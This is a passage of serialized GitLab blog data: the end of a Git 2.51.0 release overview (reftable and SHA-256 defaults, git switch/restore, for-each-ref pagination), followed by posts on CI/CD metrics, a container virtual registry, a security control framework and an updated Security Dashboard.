0.63 times faster than push: many refs (refformat = reftable, refcount = 10000, revision = master)\n\nBenchmark 1: push: many refs (refformat = files, refcount = 10000, revision = master)\n  Time (mean ± σ):      1.121 s ±  0.021 s    [User: 0.128 s, System: 0.975 s]\n  Range (min … max):    1.097 s …  1.156 s    10 runs\n\nBenchmark 2: push: many refs (refformat = files, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     927.9 ms ±  22.6 ms    [User: 99.0 ms, System: 815.2 ms]\n  Range (min … max):   903.1 ms … 978.0 ms    10 runs\n\nSummary\n  push: many refs (refformat = files, refcount = 10000, revision = HEAD) ran\n    1.21 ± 0.04 times faster than push: many refs (refformat = files, refcount = 10000, revision = master)\n\n```\n\nThis [project](https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/) was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n## Planning towards Git 3.0\n\n11 years ago, Git 2.0 was released, which was the last major version release of Git. While we don’t have a specific timeline for the next major Git release, this release includes decisions made towards Git 3.0.\n\nThe Git 3.0 release planning allows us to plan for and implement breaking changes and communicate them to the extended Git community. Next to documentation, Git can also be compiled with these breaking changes for those who want to experiment with these changes. More information can be found in the [BreakingChanges document](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc). \n\nThe Git 2.51.0 release makes some significant changes towards Git 3.0. \n\n### Reftable as the default reference backend\n\nIn the [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads) release, the “reftable” format was introduced as a new backend for storing references like branches or tags in Git, which fixes many of the issues with the existing \"files\" backend. Please read our [beginner's guide to how reftables work](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/) for more insight into the “reftable” backend.\n\nThe Git 2.51.0 release marks the switch to using the \"reftable\" format as default in Git 3.0 for newly created repositories and also wires up the change behind a feature flag. The “reftable” format provides the following improvements over the traditional “files” backend:\n\n* It is impossible to store two references that only differ in casing on case-insensitive filesystems with the \"files\" format. This issue is common on Windows and macOS platforms. As the \"reftable\" backend does not use filesystem paths to encode reference names this problem goes away.\n* Similarly, macOS normalizes path names that contain unicode characters, which has the consequence that you cannot store two names with unicode characters that are encoded differently with the \"files\" backend. Again, this is not an issue with the \"reftable\" backend.\n* Deleting references with the \"files\" backend requires Git to rewrite the complete \"packed-refs\" file. In large repositories with many references this file can easily be dozens of megabytes in size; in extreme cases it may be gigabytes. The \"reftable\" backend uses tombstone markers for deleted references and thus does not have to rewrite all of its data.\n* Repository housekeeping with the \"files\" backend typically performs all-into-one repacks of references. This can be quite expensive, and consequently housekeeping is a tradeoff between the number of loose references that accumulate and slow down operations that read references, and compressing those loose references into the \"packed-refs\" file. The \"reftable\" backend uses geometric compaction after every write, which amortizes costs and ensures that the backend is always in a well-maintained state.\n* Operations that write multiple references at once are not atomic with the \"files\" backend. Consequently, Git may see in-between states when it reads references while a reference transaction is in the process of being committed to disk.\n* Writing many references at once is slow with the \"files\" backend because every reference is created as a separate file. The \"reftable\" backend significantly outperforms the \"files\" backend by multiple orders of magnitude.\n* The “reftable” backend uses a binary format with prefix compression for reference names. As a result, the format uses less space compared to the \"packed-refs\" file.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n### SHA-256 as the default hash function\n\nThe Git version control system stores objects in a content-addressable filesystem. This means it uses the hash of an object to address content such as files, directories, and revisions, unlike traditional filesystems, which use sequential numbers. Using a hash function has the following advantages: \n\n* Easy integrity checks as a single bit flip would change the hash output completely.\n* Fast object lookup as objects can be indexed by their hash.\n* Object names can be signed and third parties can trust the hash to address the signed object and all objects it references.\n* Communication using Git protocol and out of band communication methods have a short reliable string that can be used to reliably address stored content.\n\nSince its inception, Git has used the SHA-1 hashing algorithm. However, security researchers have discovered some flaws in SHA-1, specifically the [SHAttered attack](https://shattered.io), which shows a practical SHA-1 hash collision. We moved to using a hardened SHA-1 implementation by default since Git 2.13.0. However, SHA-1 is still a weak hashing algorithm and it is only a matter of time before additional attacks will further reduce its security.\n\nSHA-256 was identified as the successor to SHA-1 in late 2018. Git 2.51.0 marks it as the default hash algorithm to be used in Git 3.0.\n\nThis project was led by [brian m. carlson](https://github.com/bk2204).\n\n### Removal of `git-whatchanged(1)`\n\nThe `git-whatchanged(1)` command shows logs with differences each commit introduces. While this is now succeeded by `git log --raw`, the command was kept around for historical reasons. \n\nGit 2.51.0 requires users of the command to explicitly use the `--i-still-use-this` flag to capture any users who still use the deprecated command, and also marks the command for removal in Git 3.0. \n\nThis project was led by [Junio C Hamano](https://simple.wikipedia.org/wiki/Junio_Hamano).\n\n## `git switch` and `git restore` are no longer experimental\n\nThe `git-checkout(1)` command can be used for multiple different use cases. It can be used for switching references:\n\n```shell\n$ git status On branch master Your branch is up to date with 'origin/master'.\nnothing to commit, working tree clean\n$ git checkout next Switched to branch 'next' Your branch is up to date with 'origin/next'.\n```\n\nOr for restoring files:\n\n```shell\n$ echo \"additional line\" >> git.c\n$ git status On branch master Your branch is up to date with 'origin/master’.\nChanges not staged for commit:\n  (use \"git add \u003Cfile>...\" to update what will be committed)\n  (use \"git restore \u003Cfile>...\" to discard changes in working directory)\n    modified:   git.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n$ git checkout git.c Updated 1 path from the index\n$ git status On branch master Your branch is up to date with 'origin/master’.\nnothing to commit, working tree clean\n```\n\nFor new users of Git, this can cause a lot of confusion. So in Git 2.33.0, these were split into two new commands, `git-switch(1)` and `git-restore(1)`.\nThe `git-switch(1)` command allows users to switch to a specific branch: \n\n```shell\n$ git status On branch master Your branch is up to date with 'origin/master'.\nnothing to commit, working tree clean\n$ git switch next Switched to branch 'next' Your branch is up to date with 'origin/next'.\n```\n\nAnd the `git-restore(1)` command allows users to restore working tree files: \n\n```shell\n$ echo \"additional line\" >> git.c\n$ git status On branch master Your branch is up to date with 'origin/master’.\nChanges not staged for commit:\n  (use \"git add \u003Cfile>...\" to update what will be committed)\n  (use \"git restore \u003Cfile>...\" to discard changes in working directory)\n    modified:   git.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n$ git restore git.c\n$ git status On branch master Your branch is up to date with 'origin/master’.\nnothing to commit, working tree clean\n```\n\nWhile the two commands have existed since 2019, they were marked as experimental. The effect is that the Git project doesn’t guarantee backwards compatibility for those commands: the behavior may change at any point in time. While the intent originally was to stabilize those commands after a couple of releases, this hasn’t happened up to this point.\nThis has led to several discussions on the Git mailing list where users are unsure whether they can start using these new commands, or whether they might eventually go away again. But given that no significant changes have ever been proposed, and that some users are already using these commands, we have decided to no longer declare them as experimental in Git 2.51.\nThis project was led by [Justin Tobler](https://gitlab.com/justintobler).\n\n## `git for-each-ref(1)` receives pagination support\n\nThe `git for-each-ref` command is used to list all references present in the repository. As it is part of the plumbing layer of Git, this command is frequently used for example by hosting forges to list references that exist in the repository in their UI. But as repositories grow, it becomes less realistic to list all references at once – after all, the largest repositories may contain millions of them! So instead, forges tend to paginate the references.\n\nThis surfaces an important gap: `git-for-each-ref` does not know to skip references from previous pages that have already been shown. Consequently, it may have to list a large number of uninteresting references before it finally starts to yield the references required for the current page. This is inefficient and leads to higher-than-necessary latency or even timeouts.\n\nGit 2.51.0 supports a new `--start-after` flag for `git for-each-ref`, which allows paginating the output. This can also be combined with the `--count` flag to iterate over a batch of references. \n\n```shell\n$ git for-each-ref --count=10 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010\n$ git for-each-ref --count=10 --start-after=refs/heads/branch-010 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019 9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020\n```\n\nThis project was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n## What's next?\n\nReady to experience these improvements? Update to Git 2.51.0 and start using `git switch` and `git restore` in your daily workflow. \n\nFor GitLab users, these performance enhancements will automatically improve your development experience once your Git version is updated.\n\nLearn more in the [official Git 2.51.0 release notes](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u) and explore our [complete archive of Git development coverage](https://about.gitlab.com/blog/tags/git/).\n",[1023,930,242],{"featured":679,"template":810,"slug":1111},"what-s-new-in-git-2-51-0",{"category":71,"slug":774,"posts":1113},[1114,1125,1135],{"content":1115,"config":1123},{"title":1116,"description":1117,"authors":1118,"heroImage":1120,"body":1121,"date":888,"category":774,"tags":1122},"New GitLab metrics and registry features help reduce CI/CD bottlenecks","See how CI/CD Job Performance Metrics and Container Virtual Registry, currently in beta, help platform teams quickly spot slow jobs and simplify multi-registry container pulls.",[1119],"Talia Armato-Helle","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771438388/t6sts5qw4z8561gtlxiq.png","Platform and DevOps engineers spend too much time piecing together visibility across fragmented tools and managing infrastructure that should just work.\n\nTwo new GitLab features currently in beta tackle this from different angles but share the same goal: giving practitioners direct control over the CI/CD infrastructure they depend on, without adding another third-party tool. One surfaces job-level performance data right where you monitor pipelines. The other simplifies how you pull container images from multiple registries with built-in caching.\n\nBoth features are open for feedback now. Your input will help shape what ships next.\n\n## CI/CD Job Performance Metrics\n\n* **Available tiers:** GitLab Premium, GitLab Ultimate\n* **Status:** Limited-availability beta on GitLab.com; available on GitLab Self-Managed and GitLab Dedicated when ClickHouse is configured\n\nToday, there’s no simple way to see when a particular job’s duration starts increasing or which jobs are quietly dragging down your pipeline runtimes. Most teams either build custom dashboards or manually dig through logs to answer basic questions like:\n\n* Which jobs are slowest?  \n* Where are failure rates climbing?  \n* Which stage is the real bottleneck?\n\nCI/CD Job Performance Metrics changes that by adding a new job-focused panel to the CI/CD analytics page at the project level.\n\nFor each job in your pipelines, you can see:\n\n* Typical (P50, median) and worst‑case (P95) job duration, so you can quickly view normal versus slowest runs  \n* Failure rate, so you can spot fragile or flaky jobs  \n* Job name and stage, covering the last 30 days by default\n\nThe table is sortable, searchable by job name, and paginated, so platform teams get a single view to answer questions that previously required separate tools or custom reporting.\n\n**Try it now**\n\n* Navigate to your project and select **Analyze \\> CI/CD analytics**.  \n* Look for the CI/CD job performance metrics panel and sort by duration or failure rate to find your slowest or least reliable jobs.\n\n**Documentation**\n\n* [CI/CD analytics – CI/CD job performance metrics](https://docs.gitlab.com/user/analytics/ci_cd_analytics/#cicd-job-performance-metrics)\n\n**What’s coming next**\n\nWe’re working on stage-level grouping, so you can view aggregated metrics across your build, test, and deploy stages, and quickly understand where to focus optimization work.\n\n**Share your feedback:**\n\n* [CI/CD job performance metrics epic](https://gitlab.com/groups/gitlab-org/-/work_items/18548)\n\n## Container Virtual Registry\n\n**Tier:** GitLab Premium, GitLab Ultimate\n**Status:** Beta, API-ready in 18.9\n\nMost organizations pulling container images into CI/CD pipelines rely on multiple registries: Docker Hub, Harbor, Quay, and internal registries, to name a few. Managing authentication, availability, and caching across all of them is operational overhead that slows pipelines down and introduces fragility.\n\nThe Container Virtual Registry lets you create a single GitLab endpoint that pulls from multiple upstream container sources with built-in caching.\n\nInstead of configuring credentials and availability for each registry individually in your pipeline configuration, you can:\n\n* Point your pipelines at one GitLab virtual registry endpoint  \n* Configure multiple upstream registries (Docker Hub, Harbor, Quay, and others using long-lived token authentication)  \n* Let GitLab resolve image pulls automatically, with pull-through caching to reduce bandwidth costs and improve reliability\n\nFor teams evaluating GitLab as a container registry replacement, this closes a critical capability gap. For teams already managing multi-registry container workflows, it centralizes image management into GitLab and cuts down on repeated pulls.\n\n**What the beta supports today**\n\n* Upstream registries using long-lived token authentication: Docker Hub, Harbor, Quay, and other compatible registries  \n* Pull-through caching so commonly used images are served from GitLab after the first pull  \n* API-first configuration, with UI management in progress++\n\nCloud provider registries requiring IAM authentication (such as Amazon Elastic Container Registry, Google Artifact Registry, and Azure Container Registry) are being considered for future iterations.\n\n**Test it today**\n\n* The Container Virtual Registry is API-ready in 18.9.  \n* SaaS (GitLab.com): Request access through your CSM or by commenting on the feedback issue below to have the feature flag enabled for your group.  \n* Self-managed: Enable the feature flag and configure the virtual registry using the API.\n\n**Documentation**\n\n* [Container Virtual Registry API](https://docs.gitlab.com/api/container_virtual_registries/)  \n* [Pull container images from the virtual registry](https://docs.gitlab.com/user/packages/virtual_registry/container/#pull-container-images-from-the-virtual-registry)\n\n\n Watch this walkthrough of the Container Virtual Registry Beta:\n   \n\n  \u003Ciframe src=\"https://player.vimeo.com/video/1167512082?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"20260223_Container Virtual Registry Beta_V1\">\u003C/iframe>\u003C\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n  \u003Cbr>\u003C/br>\n\n\n\n**Share your feedback:**\n\n* [Container virtual registry feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/589630)\n\n## Help us build what matters\n\nEveryone in the GitLab community is a contributor. We built these betas based on community requests.\n\n* **CI/CD Job Performance Metrics** came from teams who had no easy way to see when build times started trending in the wrong direction, or which jobs were hurting pipeline reliability.  \n* **Container Virtual Registry** came from enterprise customers managing multiple registries and looking to reduce tool sprawl and bandwidth costs while evaluating GitLab as a central registry.\n\nYour feedback shapes what we create next. Try one or both of these betas, and share your experience in the linked feedback issues.\n\nThis is the first in a series of Core DevOps betas we plan to highlight. More are coming throughout the year, and we hope you’ll help us make them as useful as possible.\n",[89,774,805],{"featured":13,"template":810,"slug":1124},"new-gitlab-metrics-and-registry-features-help-reduce-ci-cd-bottlenecks",{"content":1126,"config":1133},{"title":1127,"description":1128,"heroImage":1129,"date":888,"category":774,"tags":1130},"GitLab Patch Release: 18.9.1, 18.8.5, 18.7.5","Learn more about this patch release for GitLab Community Edition and Enterprise Edition.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg",[1131,1132],"patch releases","security releases",{"featured":679,"template":810,"externalUrl":1134},"https://about.gitlab.com/releases/2026/02/25/patch-release-gitlab-18-9-1-released/",{"content":1136,"config":1142},{"title":1137,"description":1138,"heroImage":1120,"date":1139,"tags":1140,"category":774},"GitLab 18.9 released","Read about GitLab Duo Agent Platform self-hosted models now available for cloud licenses, vulnerability resolution with GitLab Duo Agent Platform, and more.","2026-02-19",[774,1141],"releases",{"featured":679,"template":810,"externalUrl":1143},"https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/",{"category":104,"slug":785,"posts":1145},[1146,1157,1168],{"content":1147,"config":1155},{"title":1148,"description":1149,"authors":1150,"heroImage":1152,"date":848,"body":1153,"category":785,"tags":1154},"How GitLab built a security control framework from scratch","GitLab's Security Compliance team created a custom control framework to scale across multiple certifications and products — here's why and how you can, too.\n",[1151],"Davoud Tu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","GitLab's Security Compliance team discovered that existing security control frameworks lacked the customization to fit the platform's multi-product, cloud-native environment.\n\nSo we built our own.\n\nHere's what we learned and why creating your own custom security control framework might be the right move for your compliance program.\n\n## The journey through frameworks\n\nWhen I joined GitLab's Security Compliance team in November 2022, we were using the [Secure Controls Framework](https://securecontrolsframework.com/) to manage controls across our external certifications and internal compliance needs. But as our requirements grew, we realized we needed something more comprehensive. \n\nWith FedRAMP authorization on our roadmap, we chose to adopt [NIST SP 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final) next. NIST SP 800-53 includes more than 1,000 controls, but its comprehensiveness isn’t perfectly suited to GitLab’s environment.\n\nWe didn't need to implement every NIST control, only those applicable to our specific requirements. Our focus was on the quality of controls rather than quantity. Implementing unnecessary controls doesn't improve security; in fact, too many can make an environment less secure as individuals find ways to circumvent overly restrictive or irrelevant controls. \n\nSome controls also lacked the necessary granularity for our needs. For example, NIST’s AC-2 “Account Management” control covers account creation and provisioning, account modification and disabling, account removal and termination, shared and group account management, and account monitoring and reviews.\n\nIn practice, these are _at least_ six distinct controls with different owners, testing procedures, and risks. For attestations like SOC 2, each activity is tested as a separate control because they have different evidence requirements and operational contexts. NIST's all-encompassing AC-2 didn't match how we actually operate controls or how auditors actually assess us, and we needed controls granular enough to reflect our operational environment.  \n\nWe found ourselves constantly customizing, adding, and adapting NIST controls to fit our environment. At some point, we realized we weren't really using NIST SP 800-53 anymore, we were building our own framework on top of it. We decided a custom control framework, one tailored to GitLab’s environment, would best accommodate our multi-product offering and each product’s unique compliance needs.\n\n## Building the GitLab Control Framework\n\nThrough five methodical steps, we built our own common controls framework: the GitLab Control Framework (GCF).\n\n### 1. Analyze what we need\n\nWe reviewed our existing controls and mapped every requirement from external certifications we already maintained, certifications on our roadmap, and our internal compliance program: \n\n**External certifications:**\n\n* SOC 2 Type II  \n* ISO 27001, ISO 27017, ISO 27018, ISO 42001  \n* PCI DSS  \n* TISAX  \n* Cyber Essentials  \n* FedRAMP\n\n**Internal compliance needs:**\n\n* Controls for mission-critical systems that are not in-scope for external certifications   \n* Controls for systems with access to sensitive data\n\nThis gave us the baseline: what controls must exist to meet our compliance obligations.\n\n### 2. Learn from industry frameworks\n\nNext, we compared our requirements against industry-recognized frameworks:\n\n* NIST SP 800-53  \n* NIST Cybersecurity Framework (CSF)  \n* Secure Controls Framework (SCF)  \n* Adobe and Cisco Common Controls Framework (CCF)\n\nHaving adopted frameworks in the past, we wanted to learn from their structure and ensure we weren't missing critical security domains, controls, or best practices.\n\n### 3. Create custom control domains\n\nThrough this analysis, we created 18 custom control domains tailored to GitLab's environment:\n\n\n| Abbreviation | Domain | Scope of controls |\n| :---- | :---- | :---- |\n| AAM | Audit & Accountability Management | Logging, monitoring, and maintaining audit trails of system activities |\n| AIM | Artificial Intelligence Management | Specific to AI system development, deployment, and governance |\n| ASM | Asset Management | Identifying, tracking, and managing organizational assets |\n| BCA | Backups, Contingency, and Availability Management | Business continuity, disaster recovery, and system availability |\n| CHM | Change Management | Managing changes to systems, applications, and infrastructure |\n| CSR | Customer Security Relationship Management | Customer communication, transparency, and security commitments |\n| DPM | Data Protection Management | Protecting data confidentiality, integrity, and privacy |\n| EPM | Endpoint Management | Securing end-user devices and workstations |\n| GPM | Governance & Program Management | Security governance, policies, and program oversight |\n| IAM | Identity, Authentication, and Access Management | User identity, authentication mechanisms, and access control |\n| INC | Incident Management | Detecting, responding to, and recovering from security incidents |\n| ISM | Infrastructure Security Management | Network, server, and foundational infrastructure security |\n| PAS | Product and Application Security Management | Security capabilities built into the GitLab product that are dogfooded to secure GitLab's own development, such as branch protection & code security scanning |\n| PSM | People Security Management | Personnel security, training, and awareness |\n| SDL | Software Development & Acquisition Life Cycle Management | Secure SDLC practices and third-party software acquisition |\n| SRM | Security Risk Management | Risk assessment, treatment, and management |\n| TPR | Third Party Risk Management | Managing security risks from vendors and suppliers |\n| TVM | Threat & Vulnerability Management | Identifying and remediating security vulnerabilities |\n\n\u003Cbr>\u003C/br>\n\n\nEach domain groups related controls into logical families that align with how GitLab's security program is actually organized and operated. This structure provides a methodical approach for adding, updating, or removing controls as our needs evolve.\n\n### 4. Add context and data\n\nWith our domains defined, we needed to address two critical challenges: how to represent controls across multiple products without duplicating the framework, and how to capture meaningful implementation context to actually operate and audit at scale. \n\n#### Scaling across multiple products\n\nGitLab provides multiple product offerings: GitLab.com (multi-tenant SaaS on GCP), GitLab Dedicated (single-tenant SaaS on AWS), and GitLab Dedicated for Government (GitLab’s single-tenant FedRAMP offering on AWS). Each offering has different infrastructure, compliance scopes, and audit requirements. We needed to support product-specific audits without creating entirely separate frameworks.\n\nWe designed a control hierarchy where **Level 1 controls are the framework**, defining what should be implemented at the organizational level. **Level 2 controls are the implementation**, capturing the product-specific details of how each requirement is actually fulfilled.\n\n```mermaid\n%%{init: { \"fontFamily\": \"GitLab Sans\" }}%%\ngraph TD\n    accTitle: Control Hierarchy\n    accDescr: Level 1 requirements cascade to Level 2 implementations.\n    \n    L1[\"Level 1: Framework\u003Cbr/>What must be implemented\"];\n    L2A[\"Level 2: GitLab.com\u003Cbr/>How it's implemented\"];\n    L2B[\"Level 2: Dedicated\u003Cbr/>How it's implemented\"];\n    L2C[\"Level 2: Dedicated for Gov\u003Cbr/>How it's implemented\"];\n    L2D[\"Level 2: Entity\u003Cbr/>(inherited by all)\"];\n    \n    L1-->L2A;\n    L1-->L2B;\n    L1-->L2C;\n    L1-->L2D;\n```\n\n\u003Cbr>\u003C/br>\n\nThis separation allows us to maintain one framework with product-specific implementations, rather than managing duplicate frameworks for each offering. Entity controls apply organization-wide and are inherited by GitLab.com, GitLab Dedicated, and GitLab Dedicated for Government.\n\n#### Adding context to controls\n\nTraditional control frameworks track minimal information: a control ID, description, and owner. The GCF takes a different approach and its superpower is the extensive metadata we track for each control. Beyond just stating the control description or implementation statement, we capture:\n\n* Control owner: Who is accountable for the control and its risk?  \n* Environment: Does this apply organization-wide (Entity, inherited by all product offerings), to GitLab.com, or to Dedicated?  \n* Assets: What specific systems does this control cover?  \n* Frequency: How often is the control performed or tested?  \n* Nature: Is it manual, semi-automated, or fully automated?  \n* Classification: Is this for external certifications or internal risk?  \n* Testing details: How do we assess it? What evidence do we collect?\n\nThis context transforms the GCF from a simple control list into an operationalized control inventory.\n\nWith this structure, we can answer questions like: \n\n* Which controls apply to GitLab.com for our SOC 2 audit vs. GitLab Dedicated? → Filter by environment: GitLab.com  \n* What controls does the Infrastructure team own? → Filter by owner   \n* Which controls can we automate? → Filter by nature: Manual \n\n### 5. Iterate, mature, and scale\n\nThe GCF isn't static and was designed to evolve with our business and compliance landscape.\n\n#### Pursuing new certifications\n\nBecause we've operationalized context into the GCF, we can quickly determine the scope and gaps when pursuing new certifications (ISMAP, IRAP, C5, etc.): \n\n1. Determine scope: Which product has the business need (GitLab.com, GitLab Dedicated, or both)?\n2. Map requirements: Do existing controls already cover the new certification requirements?   \n3. Identify gaps: What new controls need to be created?  \n4. Update mappings: Link existing controls to the new certification requirements.\n\n#### Adapting to new regulations\n\nWhen new regulations emerge or existing requirements change: \n\n* Review existing controls: Does an existing control already cover the new requirement?   \n* Update or create: Either update existing control language or create a new control.  \n* Apply the most stringent: When multiple certifications have similar requirements, we implement the most stringent version — secure once, comply with many.\n* Map across certifications: Link the control to all relevant certification requirements.\n\n#### Managing control lifecycle\n\nThe framework adapts to various changes:\n\n* Requirement changes: When certifications update their requirements, we review impacted controls and update descriptions or mappings.\n* Deprecated controls: If a requirement is removed or a control is no longer needed, we mark it as deprecated and remove it from our monitoring schedule.  \n* New risks identified: Risk assessments may identify gaps requiring new internal controls.\n\n## The power of common controls: One control, multiple requirements\n\nSecuring once and complying with many isn't just a principle, it has tangible benefits across how we prepare for audits, support control owners, and pursue new certifications. Here's what that looks like in practice, both qualitatively and in the numbers. \n\n### Qualitative results\n\nSince implementing the GCF, we've seen significant improvements in how we manage compliance: \n\n#### Integrated audit approach\n\nThe GCF enables us to maintain one framework with controls mapped to multiple certification requirements, instead of managing separate control sets for each audit. One control can satisfy SOC 2, ISO 27001, and PCI DSS requirements simultaneously.\n\n#### Faster audit preparation\n\nThrough the GCF, we maintain one consolidated request list instead of separate lists for each audit. Because we've defined controls with specific context, our request lists say \"Okta user list\" instead of generic \"production user list,\" eliminating ambiguity and interpretation. We're not collecting “N/A” evidence or leaving it up to auditors to interpret what \"production\" means in our environment. Everything is already scoped to our actual systems.\n\n#### Reduced stakeholder burden\n\nThis integration directly reduces burden on our stakeholders. Control owners provide evidence once instead of responding to separate requests from SOC 2, ISO, and PCI auditors. When we collect evidence for access controls, it satisfies SOC 2, ISO 27001, and PCI DSS requirements simultaneously. One control, one test, one piece of evidence with multiple certifications and requirements satisfied.\n\n#### Efficient gap assessments\n\nWhen pursuing new certifications or launching new features, the operationalized context enables more efficient gap analysis. We can determine which controls already exist, what's missing, and what implementation is required. \n\n### Quantifiable results\n\n**Control efficiency:**\n\n* Reduced SOC controls by 58% (200 controls → 84\\) for GitLab.com and 55% (181 → 82) for GitLab Dedicated  \n* One framework now supports 8+ certifications \n\n**Audit efficiency:**\n\n* Consolidated 4 audit request lists into 1, reducing requests by 44% (415 → 231)  \n* 95% evidence acceptance rate before fieldwork for recent PCI audits\n\n**Framework scale:**\n\n* 220+ active controls across 18 custom domains  \n* Mapped to 1,300+ certification requirements  \n* Supports multiple product offerings\n\n## The path forward\n\nThe GCF continues to evolve as we add security and AI controls, pursue new certifications, and refine our approach. \n\n**For security compliance practitioners:** Don't be afraid to build your own framework if industry standards don't fit. The upfront investment pays dividends in scalability, efficiency, and controls that actually make sense for your environment. Sometimes the best framework is the one you design yourself.\n\n> If you found this helpful, check out our complete [GitLab Control Framework documentation](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/sec-controls/), where we detail our framework methodology, control domains, and field structures.",[785,836],{"featured":13,"template":810,"slug":1156},"how-gitlab-built-a-security-control-framework-from-scratch",{"content":1158,"config":1166},{"title":1159,"description":1160,"authors":1161,"heroImage":1120,"date":1139,"body":1164,"category":785,"tags":1165},"Track vulnerability remediation with the updated GitLab Security Dashboard","Quickly prioritize remediation on high-risk projects and measure progress with vulnerability insights.",[1162,1163],"Alisa Ho","Mike Clausen","Security teams and developers face the same frustration: thousands of vulnerabilities demanding attention, without the insights to help them prioritize remediation. Where is risk concentrated and how fast is it being remediated? Where will remediation efforts have the greatest impact? The updated GitLab Security Dashboard helps answer these questions with trend tracking, vulnerability age distribution, and risk scoring by project.\n\n## Measure remediation, not just detection\nApplication security teams don’t struggle to find vulnerabilities; they struggle to make sense of them. Most dashboards show raw counts without context, forcing teams to spend countless hours chasing remediation without understanding what vulnerabilities expose them to the greatest risks.\n\n[GitLab Security Dashboard](https://docs.gitlab.com/user/application_security/security_dashboard/#new-security-dashboards) consolidates all vulnerability data into one view that spans projects, groups, and business units.\n\nIn 18.6, we introduced the first release of the updated Security Dashboard, allowing teams to view vulnerabilities over time and filter based on project or report type. As part of the [18.9 release](https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/), customers will be able to take advantage of new filters and charts that make it easier to slice data by severity, status, scanner, or project and visualize trends such as open vulnerabilities, remediation velocity, vulnerability age distribution, and risk score over time.\n\nRisk scores help teams prioritize remediating their most critical vulnerabilities. The risk score is calculated using factors such as vulnerability age, Exploit Prediction Scoring System (EPSS), and Known Exploited Vulnerability (KEV) scores for related repositories and their security postures. With this data, application security teams can pinpoint which areas need more attention than others. \n\nGitLab Security Dashboard helps application security and development teams:\n* **Track program effectiveness**: Monitor remediation velocity, scanner adoption, and risk posture to show measurable improvement.\n* **Focus on targeted remediation**: Fix vulnerabilities that represent the greater risk to production systems.\n* **Identify areas for remediation training**: Find which teams struggle with remediating vulnerabilities in accordance with company policy to invest in additional training. \n* **Reduce manual reporting**: Eliminate the need for external dashboards and spreadsheets by tracking everything directly within GitLab.\n\nThis update reflects GitLab’s continued commitment to making security measurable, contextual, and integrated into everyday development workflows. GitLab Security Dashboard turns raw findings into actionable insights, giving security and development teams the clarity to prioritize, reduce risk faster, and prove their progress.\n\n## See Security Dashboard in action\nAn application security leader preparing for an executive briefing can now show whether investments are reducing risk with clear trendlines: open vulnerabilities decreasing, vulnerability age decreasing, once-prevalent CWE types trending downward, and a healthy risk score. Instead of presenting raw counts, they can demonstrate how the backlog is shrinking and how risk posture is improving quarter over quarter.\n\nAt the same time, developers can see the same dashboard highlighting critical vulnerabilities in their active projects, allowing them to focus remediation efforts without exporting data or juggling multiple tools.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1166108924?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Security-Dashboard-Demo-Final\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> For more details on how to get started with GitLab Security Dashboard today, check out our [documentation](https://docs.gitlab.com/user/application_security/security_dashboard/).",[785,774,805],{"featured":679,"template":810,"slug":1167},"track-vulnerability-remediation-with-the-updated-gitlab-security-dashboard",{"content":1169,"config":1178},{"title":1170,"description":1171,"authors":1172,"heroImage":1174,"date":1139,"body":1175,"category":785,"tags":1176},"GitLab Threat Intelligence 